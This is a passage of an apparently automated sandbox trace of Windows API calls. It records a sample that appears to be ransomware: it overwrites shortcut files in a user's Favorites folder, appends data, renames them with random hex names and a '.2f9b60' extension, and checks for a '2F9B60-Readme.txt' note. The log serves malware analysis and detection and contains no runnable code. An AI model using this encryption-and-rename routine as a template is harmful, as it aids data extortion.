live\\windows live spaces.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec4 [0113.532] GetFileSizeEx (in: hFile=0xec4, lpFileSize=0x3665f680 | out: lpFileSize=0x3665f680*=133) returned 1 [0113.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b90 [0113.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8bf0 [0113.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0113.533] NtQuerySystemTime (in: CurrentTime=0x3665f540 | out: CurrentTime=0x3665f540*=132462177189886000) returned 0x0 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x63f4c191 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x1203c7f8 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x24f82acd [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x7effca35 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x73156b9d [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x1bba33ec [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x2c5d980a [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x366f70e0 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x52bb2de9 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x78731a00 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x11e89556 [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x70c8832b [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x2e3d11ab [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x3bb39b7d [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x11e6c6ae [0113.533] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x6fa0eada [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x1171f764 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x14a0f83f [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x527f23e [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x53392d33 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x55141076 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x6f9be4b1 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x653c3f5b [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x26083989 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x68e9a81 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x2db84e9d [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x47a940fe [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x590484a9 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x4f46e6d8 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x2def292b [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x7140c740 [0113.534] RtlRandomEx (in: Seed=0x3665f530 | out: Seed=0x3665f530) returned 0x106e56cf [0113.547] ReadFile (in: hFile=0xec4, lpBuffer=0x41d6a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x3665f530, lpOverlapped=0x0 | out: lpBuffer=0x41d6a520*, lpNumberOfBytesRead=0x3665f530*=0x85, lpOverlapped=0x0) returned 1 [0113.549] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.550] WriteFile (in: hFile=0xec4, lpBuffer=0x41d6e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x3665f534, lpOverlapped=0x0 | out: lpBuffer=0x41d6e130*, lpNumberOfBytesWritten=0x3665f534*=0x85, lpOverlapped=0x0) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b90 [0113.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c20 [0113.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c20) returned 1 [0113.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6e130) returned 1 [0113.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6a520) returned 1 [0113.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c580 [0113.554] SetFilePointerEx (in: hFile=0xec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.554] WriteFile (in: hFile=0xec4, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3665f650, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3665f650*=0x120, lpOverlapped=0x0) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0113.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0113.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263890 [0113.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263890) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9eb70 [0113.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263890 [0113.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0113.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637d0) returned 1 [0113.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b7a32d0 [0113.557] sprintf (in: _Dest=0x1b7a32d0, _Format="%c%c" | out: _Dest="60") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32d2, _Format="%c%c" | out: _Dest="ad") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32d4, _Format="%c%c" | out: _Dest="ff") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32d6, _Format="%c%c" | out: _Dest="8e") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32d8, _Format="%c%c" | out: _Dest="ec") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32da, _Format="%c%c" | out: _Dest="c8") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32dc, _Format="%c%c" | out: _Dest="99") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32de, _Format="%c%c" | out: _Dest="01") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32e0, _Format="%c%c" | out: _Dest="3c") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32e2, _Format="%c%c" | out: _Dest="ac") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32e4, _Format="%c%c" | out: _Dest="eb") returned 2 [0113.557] sprintf (in: _Dest=0x1b7a32e6, _Format="%c%c" | out: _Dest="41") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32e8, _Format="%c%c" | out: _Dest="ca") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32ea, _Format="%c%c" | out: _Dest="e6") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32ec, _Format="%c%c" | out: _Dest="8e") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32ee, _Format="%c%c" | out: _Dest="84") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32f0, _Format="%c%c" | out: _Dest="d1") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32f2, _Format="%c%c" | out: _Dest="a8") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32f4, _Format="%c%c" | out: _Dest="55") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32f6, _Format="%c%c" | out: _Dest="73") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32f8, _Format="%c%c" | out: _Dest="ae") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32fa, _Format="%c%c" | out: _Dest="33") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32fc, _Format="%c%c" | out: _Dest="ef") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a32fe, _Format="%c%c" | out: _Dest="1e") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a3300, _Format="%c%c" | out: _Dest="43") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a3302, _Format="%c%c" | out: _Dest="1b") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a3304, _Format="%c%c" | out: _Dest="48") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a3306, _Format="%c%c" | out: _Dest="86") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a3308, _Format="%c%c" | out: _Dest="72") returned 2 [0113.558] sprintf (in: _Dest=0x1b7a330a, _Format="%c%c" | out: _Dest="d1") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a330c, _Format="%c%c" | out: _Dest="1b") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a330e, _Format="%c%c" | out: _Dest="85") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3310, _Format="%c%c" | out: _Dest="94") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3312, _Format="%c%c" | out: _Dest="95") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3314, _Format="%c%c" | out: _Dest="f0") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3316, _Format="%c%c" | out: _Dest="be") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3318, _Format="%c%c" | out: _Dest="b5") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a331a, _Format="%c%c" | out: _Dest="54") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a331c, _Format="%c%c" | out: _Dest="0e") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a331e, _Format="%c%c" | out: _Dest="ef") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3320, _Format="%c%c" | out: _Dest="67") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3322, _Format="%c%c" | out: _Dest="67") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3324, _Format="%c%c" | out: _Dest="be") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3326, _Format="%c%c" | out: _Dest="74") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a3328, _Format="%c%c" | out: _Dest="b0") returned 2 [0113.559] sprintf (in: _Dest=0x1b7a332a, _Format="%c%c" | out: _Dest="08") returned 2 [0113.559] RtlInitAnsiString (in: DestinationString=0x3665f6c8, SourceString="60adff8eecc899013caceb41cae68e84d1a85573ae33ef1e431b488672d11b859495f0beb5540eef6767be74b008" | out: DestinationString="60adff8eecc899013caceb41cae68e84d1a85573ae33ef1e431b488672d11b859495f0beb5540eef6767be74b008") [0113.559] RtlAnsiStringToUnicodeString (in: DestinationString=0x3665f698, SourceString="60adff8eecc899013caceb41cae68e84d1a85573ae33ef1e431b488672d11b859495f0beb5540eef6767be74b008", AllocateDestinationString=1 | out: DestinationString="60adff8eecc899013caceb41cae68e84d1a85573ae33ef1e431b488672d11b859495f0beb5540eef6767be74b008") returned 0x0 [0113.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119720 [0113.560] wcscat (in: _Dest=0x4205dd70, _Source="60adff8eecc899013caceb4" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\60adff8eecc899013caceb4") returned="C:\\Users\\Default\\Favorites\\Windows Live\\60adff8eecc899013caceb4" [0113.560] wcscat (in: _Dest=0x4205dd70, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\60adff8eecc899013caceb4.2f9b60") returned="C:\\Users\\Default\\Favorites\\Windows Live\\60adff8eecc899013caceb4.2f9b60" [0113.560] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Windows Live\\60adff8eecc899013caceb4.2f9b60", NtPathName=0x3665f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Windows Live\\60adff8eecc899013caceb4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0113.560] NtSetInformationFile (FileHandle=0xec4, IoStatusBlock=0x3665f710, FileInformation=0x20279df0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0113.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0113.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.562] NtQueryInformationFile (in: FileHandle=0xec4, IoStatusBlock=0x3665f6d8, FileInformation=0x3665f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3665f6d8, FileInformation=0x3665f6e8) returned 0x0 [0113.562] NtSetInformationFile (FileHandle=0xec4, IoStatusBlock=0x3665f6d8, FileInformation=0x3665f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0113.565] FlushFileBuffers (hFile=0xec4) returned 1 [0113.568] CloseHandle (hObject=0xec4) returned 1 [0113.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868a40 [0113.569] wcscpy (in: _Dest=0x1b868a40, _Source="C:\\Users\\Default\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\") returned="C:\\Users\\Default\\Favorites\\Windows Live\\" [0113.569] wcscat (in: _Dest=0x1b868a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" [0113.569] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\windows live\\2f9b60-readme.txt")) returned 0x20 [0113.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a56a0) returned 1 Thread: id = 1159 os_tid = 0xc14 [0113.480] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0113.480] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x20) returned 1 [0113.481] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb4 [0113.481] GetFileSizeEx (in: hFile=0xeb4, lpFileSize=0x3652f6e0 | out: lpFileSize=0x3652f6e0*=133) returned 1 [0113.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0113.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.482] NtQuerySystemTime (in: CurrentTime=0x3652f5a0 | out: CurrentTime=0x3652f5a0*=132462177189418000) returned 0x0 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x19fb9cb3 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x223c7460 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x4cc91a09 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x4caf9da5 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x2126d3ef [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0xce85928 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x25fad222 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0xb5c07f2 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x19dc2b17 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x3782b8fd [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x74191680 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0xcb0d05f [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x17238024 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x782f10da [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x6474501e [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x143d1eb8 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x563c6ab3 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x68c74c59 [0113.482] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x34298d4b [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x7ee41e23 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x7224d90a [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x230d0be0 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x4ae7ccae [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x148b2b2b [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x62894e2a [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x126f7823 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x44421026 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x414d751a [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x6c5175c3 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0xcae8b53 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x6fc07f21 [0113.483] RtlRandomEx (in: Seed=0x3652f590 | out: Seed=0x3652f590) returned 0x4a70a34f [0113.497] ReadFile (in: hFile=0xeb4, lpBuffer=0x41d6a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x3652f590, lpOverlapped=0x0 | out: lpBuffer=0x41d6a520*, lpNumberOfBytesRead=0x3652f590*=0x85, lpOverlapped=0x0) returned 1 [0113.498] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.499] WriteFile (in: hFile=0xeb4, lpBuffer=0x41d6e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x3652f594, lpOverlapped=0x0 | out: lpBuffer=0x41d6e130*, lpNumberOfBytesWritten=0x3652f594*=0x85, lpOverlapped=0x0) returned 1 [0113.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6e130) returned 1 [0113.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d6a520) returned 1 [0113.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0113.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9eb70 [0113.502] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.502] WriteFile (in: hFile=0xeb4, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3652f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3652f6b0*=0x11c, lpOverlapped=0x0) returned 1 [0113.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0113.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0113.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263860 [0113.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263860) returned 1 [0113.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9eaf0 [0113.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263860 [0113.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0113.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260800) returned 1 [0113.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0113.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c310 [0113.505] sprintf (in: _Dest=0x1cd9c310, _Format="%c%c" | out: _Dest="57") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c312, _Format="%c%c" | out: _Dest="d7") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c314, _Format="%c%c" | out: _Dest="79") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c316, _Format="%c%c" | out: _Dest="12") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c318, _Format="%c%c" | out: _Dest="07") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c31a, _Format="%c%c" | out: _Dest="6d") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c31c, _Format="%c%c" | out: _Dest="dc") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c31e, _Format="%c%c" | out: _Dest="98") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c320, _Format="%c%c" | out: _Dest="97") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c322, _Format="%c%c" | out: _Dest="bc") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c324, _Format="%c%c" | out: _Dest="5d") returned 2 [0113.505] sprintf (in: _Dest=0x1cd9c326, _Format="%c%c" | out: _Dest="0d") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c328, _Format="%c%c" | out: _Dest="35") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c32a, _Format="%c%c" | out: _Dest="ba") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c32c, _Format="%c%c" | out: _Dest="39") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c32e, _Format="%c%c" | out: _Dest="d8") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c330, _Format="%c%c" | out: _Dest="15") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c332, _Format="%c%c" | out: _Dest="4c") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c334, _Format="%c%c" | out: _Dest="f2") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c336, _Format="%c%c" | out: _Dest="5a") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c338, _Format="%c%c" | out: _Dest="53") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c33a, _Format="%c%c" | out: _Dest="50") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c33c, _Format="%c%c" | out: _Dest="63") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c33e, _Format="%c%c" | out: _Dest="3b") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c340, _Format="%c%c" | out: _Dest="df") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c342, _Format="%c%c" | out: _Dest="7a") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c344, _Format="%c%c" | out: _Dest="ac") returned 2 [0113.506] sprintf (in: _Dest=0x1cd9c346, _Format="%c%c" | out: _Dest="27") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c348, _Format="%c%c" | out: _Dest="c9") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c34a, _Format="%c%c" | out: _Dest="b1") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c34c, _Format="%c%c" | out: _Dest="f2") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c34e, _Format="%c%c" | out: _Dest="3a") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c350, _Format="%c%c" | out: _Dest="ef") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c352, _Format="%c%c" | out: _Dest="63") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c354, _Format="%c%c" | out: _Dest="db") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c356, _Format="%c%c" | out: _Dest="85") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c358, _Format="%c%c" | out: _Dest="02") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c35a, _Format="%c%c" | out: _Dest="26") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c35c, _Format="%c%c" | out: _Dest="ee") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c35e, _Format="%c%c" | out: _Dest="6a") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c360, _Format="%c%c" | out: _Dest="21") returned 2 [0113.507] sprintf (in: _Dest=0x1cd9c362, _Format="%c%c" | out: _Dest="d7") returned 2 [0113.507] RtlInitAnsiString (in: DestinationString=0x3652f728, SourceString="57d77912076ddc9897bc5d0d35ba39d8154cf25a5350633bdf7aac27c9b1f23aef63db850226ee6a21d7" | out: DestinationString="57d77912076ddc9897bc5d0d35ba39d8154cf25a5350633bdf7aac27c9b1f23aef63db850226ee6a21d7") [0113.507] RtlAnsiStringToUnicodeString (in: DestinationString=0x3652f6f8, SourceString="57d77912076ddc9897bc5d0d35ba39d8154cf25a5350633bdf7aac27c9b1f23aef63db850226ee6a21d7", AllocateDestinationString=1 | out: DestinationString="57d77912076ddc9897bc5d0d35ba39d8154cf25a5350633bdf7aac27c9b1f23aef63db850226ee6a21d7") returned 0x0 [0113.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279df0 [0113.508] wcscat (in: _Dest=0x4205dd70, _Source="57d77912076ddc9897bc5" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live\\57d77912076ddc9897bc5") returned="C:\\Users\\Default\\Favorites\\Windows 